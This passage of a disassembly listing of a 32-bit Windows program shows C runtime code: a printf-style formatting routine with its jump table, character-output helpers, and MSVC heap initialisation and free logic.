; DATA XREF: .packed:off_4114D1o cmp bl, 2Ah ; jumptable 00410E1E case 5 jnz short loc_410EEE lea eax, [ebp+arg_8] push eax call sub_41158F test eax, eax pop ecx mov [ebp+var_10], eax jge loc_4114B8 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_4114B8 ; default ; --------------------------------------------------------------------------- loc_410EEE: ; CODE XREF: sub_410DB0+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_4114B8 ; default ; --------------------------------------------------------------------------- loc_410F00: ; CODE XREF: sub_410DB0+6Ej ; DATA XREF: .packed:off_4114D1o cmp bl, 49h ; jumptable 00410E1E case 6 jz short loc_410F33 cmp bl, 68h jz short loc_410F2A cmp bl, 6Ch jz short loc_410F21 cmp bl, 77h jnz loc_4114B8 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_4114B8 ; default ; --------------------------------------------------------------------------- loc_410F21: ; CODE XREF: sub_410DB0+15Dj or [ebp+var_4], 10h jmp loc_4114B8 ; default ; --------------------------------------------------------------------------- loc_410F2A: ; CODE XREF: sub_410DB0+158j or [ebp+var_4], 20h jmp loc_4114B8 ; default ; --------------------------------------------------------------------------- loc_410F33: ; CODE XREF: sub_410DB0+153j cmp byte ptr [edi], 36h jnz short loc_410F4C cmp byte ptr [edi+1], 34h jnz short loc_410F4C inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_4114B8 ; default ; --------------------------------------------------------------------------- loc_410F4C: ; CODE XREF: sub_410DB0+186j ; sub_410DB0+18Cj mov [ebp+var_30], edx loc_410F4F: ; CODE XREF: sub_410DB0+6Ej ; DATA XREF: .packed:off_4114D1o mov ecx, off_424224 ; jumptable 00410E1E case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_410F7B lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_4114F1 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_410F7B: ; CODE XREF: sub_410DB0+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_4114F1 add esp, 0Ch jmp loc_4114B8 ; default ; --------------------------------------------------------------------------- loc_410F93: ; CODE XREF: sub_410DB0+6Ej ; DATA XREF: .packed:off_4114D1o movsx eax, bl ; jumptable 00410E1E case 7 cmp eax, 67h jg loc_4111BB cmp eax, 65h jge loc_41103E cmp eax, 58h jg loc_41109C jz loc_41122F sub eax, 43h jz loc_41105F dec eax dec eax jz short loc_411034 dec eax dec eax jz short loc_411034 sub eax, 0Ch jnz loc_4113BA test word ptr [ebp+var_4], 830h jnz short loc_410FDD or byte ptr [ebp+var_4+1], 8 loc_410FDD: ; CODE XREF: sub_410DB0+227j ; sub_410DB0+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_410FEA mov esi, 7FFFFFFFh loc_410FEA: ; CODE XREF: sub_410DB0+233j lea eax, [ebp+arg_8] push eax call sub_41158F test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_411203 test ecx, ecx jnz short loc_411012 mov ecx, off_42209C mov [ebp+var_8], ecx loc_411012: ; CODE XREF: sub_410DB0+257j mov [ebp+var_24], 1 mov eax, ecx loc_41101B: ; CODE XREF: sub_410DB0+282j mov edx, esi dec esi test edx, edx jz loc_4111FA cmp word ptr [eax], 0 jz loc_4111FA inc eax inc eax jmp short loc_41101B ; --------------------------------------------------------------------------- loc_411034: ; CODE XREF: sub_410DB0+212j ; sub_410DB0+216j mov [ebp+var_34], 1 add bl, 20h loc_41103E: ; CODE XREF: sub_410DB0+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_411122 mov [ebp+var_10], 6 jmp loc_411130 ; --------------------------------------------------------------------------- loc_41105F: ; CODE XREF: sub_410DB0+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41106B or byte ptr [ebp+var_4+1], 8 loc_41106B: ; CODE XREF: sub_410DB0+2B5j ; sub_410DB0+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_4110B2 call sub_4115AC push eax lea eax, [ebp+var_248] push eax call sub_416AAF add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_4110C5 mov [ebp+var_28], 1 jmp short loc_4110C5 ; --------------------------------------------------------------------------- loc_41109C: ; CODE XREF: sub_410DB0+1FBj sub eax, 5Ah jz short loc_4110D3 sub eax, 9 jz short loc_41106B dec eax jz loc_411295 jmp loc_4113BA ; --------------------------------------------------------------------------- loc_4110B2: ; CODE XREF: sub_410DB0+2C5j call sub_41158F pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_4110C5: ; CODE XREF: sub_410DB0+2E1j ; sub_410DB0+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_4113BA ; --------------------------------------------------------------------------- loc_4110D3: ; CODE XREF: sub_410DB0+2EFj lea eax, [ebp+arg_8] push eax call sub_41158F test eax, eax pop ecx jz short loc_411114 mov ecx, [eax+4] test ecx, ecx jz short loc_411114 test byte ptr [ebp+var_4+1], 8 jz short loc_411105 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_4113BA ; --------------------------------------------------------------------------- loc_411105: ; CODE XREF: sub_410DB0+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_4113B7 ; --------------------------------------------------------------------------- loc_411114: ; CODE XREF: sub_410DB0+32Fj ; sub_410DB0+336j mov eax, off_422098 mov [ebp+var_8], eax push eax jmp loc_4111B0 ; --------------------------------------------------------------------------- loc_411122: ; CODE XREF: sub_410DB0+29Dj jnz short loc_411130 cmp bl, 67h jnz short loc_411130 mov [ebp+var_10], 1 loc_411130: ; CODE XREF: sub_410DB0+2AAj ; sub_410DB0:loc_411122j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_4241E8 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_411182 cmp [ebp+var_10], 0 jnz short loc_411182 lea eax, [ebp+var_248] push eax call off_4241F4 pop ecx loc_411182: ; CODE XREF: sub_410DB0+3BCj ; sub_410DB0+3C2j cmp bl, 67h jnz short loc_411199 test esi, esi jnz short loc_411199 lea eax, [ebp+var_248] push eax call off_4241EC pop ecx loc_411199: ; CODE XREF: sub_410DB0+3D5j ; sub_410DB0+3D9j cmp [ebp+var_248], 2Dh jnz short loc_4111AF or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_4111AF: ; CODE XREF: sub_410DB0+3F0j push edi loc_4111B0: ; CODE XREF: sub_410DB0+36Dj call sub_40E730 pop ecx jmp loc_4113B7 ; --------------------------------------------------------------------------- loc_4111BB: ; CODE XREF: sub_410DB0+1E9j sub eax, 69h jz loc_411295 sub eax, 5 jz loc_41126B dec eax jz loc_411258 dec eax jz short loc_411228 sub eax, 3 jz loc_410FDD dec eax dec eax jz loc_411299 sub eax, 3 jnz loc_4113BA mov [ebp+var_2C], 27h jmp short loc_411236 ; --------------------------------------------------------------------------- loc_4111FA: ; CODE XREF: sub_410DB0+270j ; sub_410DB0+27Aj sub eax, ecx sar eax, 1 jmp loc_4113B7 ; --------------------------------------------------------------------------- loc_411203: ; CODE XREF: sub_410DB0+24Fj test ecx, ecx jnz short loc_411210 mov ecx, off_422098 mov [ebp+var_8], ecx loc_411210: ; CODE XREF: sub_410DB0+455j mov eax, ecx loc_411212: ; CODE XREF: sub_410DB0+46Fj mov edx, esi dec esi test edx, edx jz short loc_411221 cmp byte ptr [eax], 0 jz short loc_411221 inc eax jmp short loc_411212 ; --------------------------------------------------------------------------- loc_411221: ; CODE XREF: sub_410DB0+467j ; sub_410DB0+46Cj sub eax, ecx jmp loc_4113B7 ; --------------------------------------------------------------------------- loc_411228: ; CODE XREF: sub_410DB0+425j mov [ebp+var_10], 8 loc_41122F: ; CODE XREF: sub_410DB0+201j mov [ebp+var_2C], 7 loc_411236: ; CODE XREF: sub_410DB0+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_4112A0 mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_4112A0 ; --------------------------------------------------------------------------- loc_411258: ; CODE XREF: sub_410DB0+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_4112A0 or byte ptr [ebp+var_4+1], 2 jmp short loc_4112A0 ; --------------------------------------------------------------------------- loc_41126B: ; CODE XREF: sub_410DB0+417j lea eax, [ebp+arg_8] push eax call sub_41158F test byte ptr [ebp+var_4], 20h pop ecx jz short loc_411284 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_411289 ; --------------------------------------------------------------------------- loc_411284: ; CODE XREF: sub_410DB0+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_411289: ; CODE XREF: sub_410DB0+4D2j mov [ebp+var_28], 1 jmp loc_4114B8 ; default ; --------------------------------------------------------------------------- loc_411295: ; CODE XREF: sub_410DB0+2F7j ; sub_410DB0+40Ej or [ebp+var_4], 40h loc_411299: ; CODE XREF: sub_410DB0+432j mov [ebp+var_C], 0Ah loc_4112A0: ; CODE XREF: sub_410DB0+491j ; sub_410DB0+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_4112B2 lea eax, [ebp+arg_8] push eax call sub_41159C pop ecx jmp short loc_4112F3 ; --------------------------------------------------------------------------- loc_4112B2: ; CODE XREF: sub_410DB0+4F4j test byte ptr [ebp+var_4], 20h jz short loc_4112D9 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_4112CE call sub_41158F pop ecx movsx eax, ax loc_4112CB: ; CODE XREF: sub_410DB0+527j ; sub_410DB0+539j cdq jmp short loc_4112F3 ; --------------------------------------------------------------------------- loc_4112CE: ; CODE XREF: sub_410DB0+510j call sub_41158F pop ecx movzx eax, ax jmp short loc_4112CB ; --------------------------------------------------------------------------- loc_4112D9: ; CODE XREF: sub_410DB0+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_4112EB call sub_41158F pop ecx jmp short loc_4112CB ; --------------------------------------------------------------------------- loc_4112EB: ; CODE XREF: sub_410DB0+531j call sub_41158F pop ecx xor edx, edx loc_4112F3: ; CODE XREF: sub_410DB0+500j ; sub_410DB0+51Cj test byte ptr [ebp+var_4], 40h jz short loc_411314 test edx, edx jg short loc_411314 jl short loc_411303 test eax, eax jnb short loc_411314 loc_411303: ; CODE XREF: sub_410DB0+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_411318 ; --------------------------------------------------------------------------- loc_411314: ; CODE XREF: sub_410DB0+547j ; sub_410DB0+54Bj ... mov esi, eax mov edi, edx loc_411318: ; CODE XREF: sub_410DB0+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_411321 and edi, 0 loc_411321: ; CODE XREF: sub_410DB0+56Cj cmp [ebp+var_10], 0 jge short loc_411330 mov [ebp+var_10], 1 jmp short loc_411334 ; --------------------------------------------------------------------------- loc_411330: ; CODE XREF: sub_410DB0+575j and [ebp+var_4], 0FFFFFFF7h loc_411334: ; CODE XREF: sub_410DB0+57Ej mov eax, esi or eax, edi jnz short loc_41133E and [ebp+var_1C], 0 loc_41133E: ; CODE XREF: sub_410DB0+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_411344: ; CODE XREF: sub_410DB0+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_411354 mov eax, esi or eax, edi jz short loc_41138F loc_411354: ; CODE XREF: sub_410DB0+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_4105E0 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_410660 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_411385 add ebx, [ebp+var_2C] loc_411385: ; CODE XREF: sub_410DB0+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_411344 ; --------------------------------------------------------------------------- loc_41138F: ; CODE XREF: sub_410DB0+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_4113BA mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_4113AD test eax, eax jnz short loc_4113BA loc_4113AD: ; CODE XREF: sub_410DB0+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_4113B7: ; CODE XREF: sub_410DB0+35Fj ; sub_410DB0+406j ... mov [ebp+var_C], eax loc_4113BA: ; CODE XREF: sub_410DB0+21Bj ; sub_410DB0+2FDj ... cmp [ebp+var_28], 0 jnz loc_4114B8 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_4113F2 test bh, 1 jz short loc_4113D7 mov [ebp+var_16], 2Dh jmp short loc_4113EB ; --------------------------------------------------------------------------- loc_4113D7: ; CODE XREF: sub_410DB0+61Fj test bl, 1 jz short loc_4113E2 mov [ebp+var_16], 2Bh jmp short loc_4113EB ; --------------------------------------------------------------------------- loc_4113E2: ; CODE XREF: sub_410DB0+62Aj test bl, 2 jz short loc_4113F2 mov [ebp+var_16], 20h loc_4113EB: ; CODE XREF: sub_410DB0+625j ; sub_410DB0+630j mov [ebp+var_1C], 1 loc_4113F2: ; CODE XREF: sub_410DB0+61Aj ; sub_410DB0+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_411412 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_411526 add esp, 10h loc_411412: ; CODE XREF: sub_410DB0+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_411557 add esp, 10h test bl, 8 jz short loc_411444 test bl, 4 jnz short loc_411444 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_411526 add esp, 10h loc_411444: ; CODE XREF: sub_410DB0+67Bj ; sub_410DB0+680j cmp [ebp+var_24], 0 jz short loc_41148B cmp [ebp+var_C], 0 jle short loc_41148B mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_411459: ; CODE XREF: sub_410DB0+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_416AAF pop ecx test eax, eax pop ecx jle short loc_4114A0 lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_411557 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_411459 jmp short loc_4114A0 ; --------------------------------------------------------------------------- loc_41148B: ; CODE XREF: sub_410DB0+698j ; sub_410DB0+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_411557 add esp, 10h loc_4114A0: ; CODE XREF: sub_410DB0+6BCj ; sub_410DB0+6D9j test byte ptr [ebp+var_4], 4 jz short loc_4114B8 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_411526 add esp, 10h loc_4114B8: ; CODE XREF: sub_410DB0+68j ; sub_410DB0+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_410DDC loc_4114C9: ; CODE XREF: sub_410DB0+1Fj ; sub_410DB0+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_410DB0 endp ; --------------------------------------------------------------------------- off_4114D1 dd offset loc_410F4F ; DATA XREF: sub_410DB0+6Er dd offset loc_410E25 ; jump table for switch statement dd offset loc_410E40 dd offset loc_410E8C dd offset loc_410EC3 dd offset loc_410ECB dd offset loc_410F00 dd offset loc_410F93 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4114F1 proc near ; CODE XREF: sub_410DB0+1BDp ; sub_410DB0+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41150A mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_411515 ; --------------------------------------------------------------------------- loc_41150A: ; CODE XREF: sub_4114F1+9j push ecx push [ebp+arg_0] call sub_410C9B pop ecx pop ecx loc_411515: ; CODE XREF: sub_4114F1+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_411522 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_411522: ; CODE XREF: sub_4114F1+2Aj inc dword ptr [eax] pop ebp retn sub_4114F1 endp ; =============== S U B R O U T I N E ======================================= sub_411526 proc near ; CODE XREF: sub_410DB0+65Ap ; sub_410DB0+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_411554 mov esi, [esp+8+arg_C] loc_411537: ; CODE XREF: sub_411526+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_4114F1 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_411554 mov eax, edi dec edi test eax, eax jg short loc_411537 loc_411554: ; CODE XREF: sub_411526+Bj ; sub_411526+25j pop edi pop esi retn sub_411526 endp ; =============== S U B R O U T I N E ======================================= sub_411557 proc near ; CODE XREF: sub_410DB0+670p ; sub_410DB0+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41158B mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41156D: ; CODE XREF: sub_411557+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_4114F1 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41158B mov eax, ebx dec ebx test eax, eax jg short loc_41156D loc_41158B: ; CODE XREF: sub_411557+Cj ; sub_411557+2Bj pop edi pop esi pop ebx retn sub_411557 endp ; =============== S U B R O U T I N E ======================================= sub_41158F proc near ; CODE XREF: sub_410DB0+E5p ; sub_410DB0+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41158F endp ; =============== S U B R O U T I N E ======================================= sub_41159C proc near ; CODE XREF: sub_410DB0+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41159C endp ; =============== S U B R O U T I N E ======================================= sub_4115AC proc near ; CODE XREF: sub_410DB0+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_4115AC endp ; =============== S U B R O U T I N E ======================================= sub_4115BA proc near ; CODE XREF: sub_40E894+1Fp ; sub_414008+126p ... arg_0 = dword ptr 4 mov eax, dword_4BA2E0 test eax, eax jz short loc_4115D2 push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_4115D2 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4115D2: ; CODE XREF: sub_4115BA+7j ; sub_4115BA+12j xor eax, eax retn sub_4115BA endp ; =============== S U B R O U T I N E ======================================= sub_4115D5 proc near ; CODE XREF: sub_411602+136p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 call dword_41A0A4 ; GetModuleHandleA cmp word ptr [eax], 5A4Dh jnz short loc_411600 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_411600 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_411600: ; CODE XREF: sub_4115D5+15j ; sub_4115D5+1Cj pop esi retn sub_4115D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411602 proc near ; CODE XREF: sub_41174A+20p var_122C = byte ptr -122Ch var_19C = byte ptr -19Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_88 = dword ptr -88h var_4 = byte ptr -4 push ebp mov ebp, esp mov eax, 122Ch call sub_40EC80 lea eax, [ebp+var_98] push ebx push eax mov [ebp+var_98], 94h call dword_41A0D4 ; GetVersionExA test eax, eax jz short loc_411645 cmp [ebp+var_88], 2 jnz short loc_411645 cmp [ebp+var_94], 5 jb short loc_411645 push 1 pop eax jmp loc_411747 ; --------------------------------------------------------------------------- loc_411645: ; CODE XREF: sub_411602+27j ; sub_411602+30j ... lea eax, [ebp+var_122C] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call dword_41A140 ; GetEnvironmentVariableA test eax, eax jz loc_411734 xor ebx, ebx lea ecx, [ebp+var_122C] cmp [ebp+var_122C], bl jz short loc_411687 loc_411674: ; CODE XREF: sub_411602+83j mov al, [ecx] cmp al, 61h jl short loc_411682 cmp al, 7Ah jg short loc_411682 sub al, 20h mov [ecx], al loc_411682: ; CODE XREF: sub_411602+76j ; sub_411602+7Aj inc ecx cmp [ecx], bl jnz short loc_411674 loc_411687: ; CODE XREF: sub_411602+70j lea eax, [ebp+var_122C] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_4105A0 add esp, 0Ch test eax, eax jnz short loc_4116A9 lea eax, [ebp+var_122C] jmp short loc_4116F2 ; --------------------------------------------------------------------------- loc_4116A9: ; CODE XREF: sub_411602+9Dj lea eax, [ebp+var_19C] push 104h push eax push ebx call dword_41A078 ; GetModuleFileNameA cmp [ebp+var_19C], bl lea ecx, [ebp+var_19C] jz short loc_4116DD loc_4116CA: ; CODE XREF: sub_411602+D9j mov al, [ecx] cmp al, 61h jl short loc_4116D8 cmp al, 7Ah jg short loc_4116D8 sub al, 20h mov [ecx], al loc_4116D8: ; CODE XREF: sub_411602+CCj ; sub_411602+D0j inc ecx cmp [ecx], bl jnz short loc_4116CA loc_4116DD: ; CODE XREF: sub_411602+C6j lea eax, [ebp+var_19C] push eax lea eax, [ebp+var_122C] push eax call sub_4102A0 pop ecx pop ecx loc_4116F2: ; CODE XREF: sub_411602+A5j cmp eax, ebx jz short loc_411734 push 2Ch push eax call sub_410AA0 pop ecx cmp eax, ebx pop ecx jz short loc_411734 inc eax mov ecx, eax cmp [eax], bl jz short loc_411719 loc_41170B: ; CODE XREF: sub_411602+115j cmp byte ptr [ecx], 3Bh jnz short loc_411714 mov [ecx], bl jmp short loc_411715 ; --------------------------------------------------------------------------- loc_411714: ; CODE XREF: sub_411602+10Cj inc ecx loc_411715: ; CODE XREF: sub_411602+110j cmp [ecx], bl jnz short loc_41170B loc_411719: ; CODE XREF: sub_411602+107j push 0Ah push ebx push eax call sub_40F8A5 add esp, 0Ch cmp eax, 2 jz short loc_411747 cmp eax, 3 jz short loc_411747 cmp eax, 1 jz short loc_411747 loc_411734: ; CODE XREF: sub_411602+5Cj ; sub_411602+F2j ... lea eax, [ebp+var_4] push eax call sub_4115D5 cmp [ebp+var_4], 6 pop ecx sbb eax, eax add eax, 3 loc_411747: ; CODE XREF: sub_411602+3Ej ; sub_411602+126j ... pop ebx leave retn sub_411602 endp ; =============== S U B R O U T I N E ======================================= sub_41174A proc near ; CODE XREF: sub_410B5C+5Ap arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call dword_41A148 ; HeapCreate test eax, eax mov dword_4BB8E0, eax jz short loc_4117A0 call sub_411602 cmp eax, 3 mov dword_4BB8E4, eax jnz short loc_411786 push 3F8h call sub_4117A7 pop ecx jmp short loc_411790 ; --------------------------------------------------------------------------- loc_411786: ; CODE XREF: sub_41174A+2Dj cmp eax, 2 jnz short loc_4117A3 call sub_4122EE loc_411790: ; CODE XREF: sub_41174A+3Aj test eax, eax jnz short loc_4117A3 push dword_4BB8E0 call dword_41A144 ; HeapDestroy loc_4117A0: ; CODE XREF: sub_41174A+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_4117A3: ; CODE XREF: sub_41174A+3Fj ; sub_41174A+48j push 1 pop eax retn sub_41174A endp ; =============== S U B R O U T I N E ======================================= sub_4117A7 proc near ; CODE XREF: sub_41174A+34p arg_0 = dword ptr 4 push 140h push 0 push dword_4BB8E0 call dword_41A120 ; RtlAllocateHeap test eax, eax mov dword_4BB8D8, eax jnz short loc_4117C4 retn ; --------------------------------------------------------------------------- loc_4117C4: ; CODE XREF: sub_4117A7+1Aj mov ecx, [esp+arg_0] and dword_4BB8D0, 0 and dword_4BB8D4, 0 push 1 mov dword_4BB8CC, eax mov dword_4BB8DC, ecx mov dword_4BB8C4, 10h pop eax retn sub_4117A7 endp ; =============== S U B R O U T I N E ======================================= sub_4117EF proc near ; CODE XREF: sub_40ECAF+17p ; sub_414008+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4BB8D4 lea ecx, [eax+eax*4] mov eax, dword_4BB8D8 lea ecx, [eax+ecx*4] loc_4117FF: ; CODE XREF: sub_4117EF+26j cmp eax, ecx jnb short loc_411817 mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_411819 add eax, 14h jmp short loc_4117FF ; --------------------------------------------------------------------------- loc_411817: ; CODE XREF: sub_4117EF+12j xor eax, eax locret_411819: ; CODE XREF: sub_4117EF+21j retn sub_4117EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41181A proc near ; CODE XREF: sub_40ECAF+23p ; sub_414008+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_411B3E mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_4118F0 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41187E push 3Fh pop edx loc_41187E: ; CODE XREF: sub_41181A+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_4118D2 cmp edx, 20h jnb short loc_4118A9 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_4118CA mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_4118CA ; --------------------------------------------------------------------------- loc_4118A9: ; CODE XREF: sub_41181A+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_4118CA mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_4118CA: ; CODE XREF: sub_41181A+86j ; sub_41181A+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_4118D5 ; --------------------------------------------------------------------------- loc_4118D2: ; CODE XREF: sub_41181A+6Aj mov ecx, [ebp+var_4] loc_4118D5: ; CODE XREF: sub_41181A+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_4118F0: ; CODE XREF: sub_41181A+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_4118FE push 3Fh pop edx loc_4118FE: ; CODE XREF: sub_41181A+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_4119A1 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_411923 mov ebx, esi loc_411923: ; CODE XREF: sub_41181A+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_411935 mov edx, esi loc_411935: ; CODE XREF: sub_41181A+117j cmp ebx, edx jz short loc_41199C mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_411984 cmp ebx, 20h jnb short loc_411965 mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_411984 mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_411984 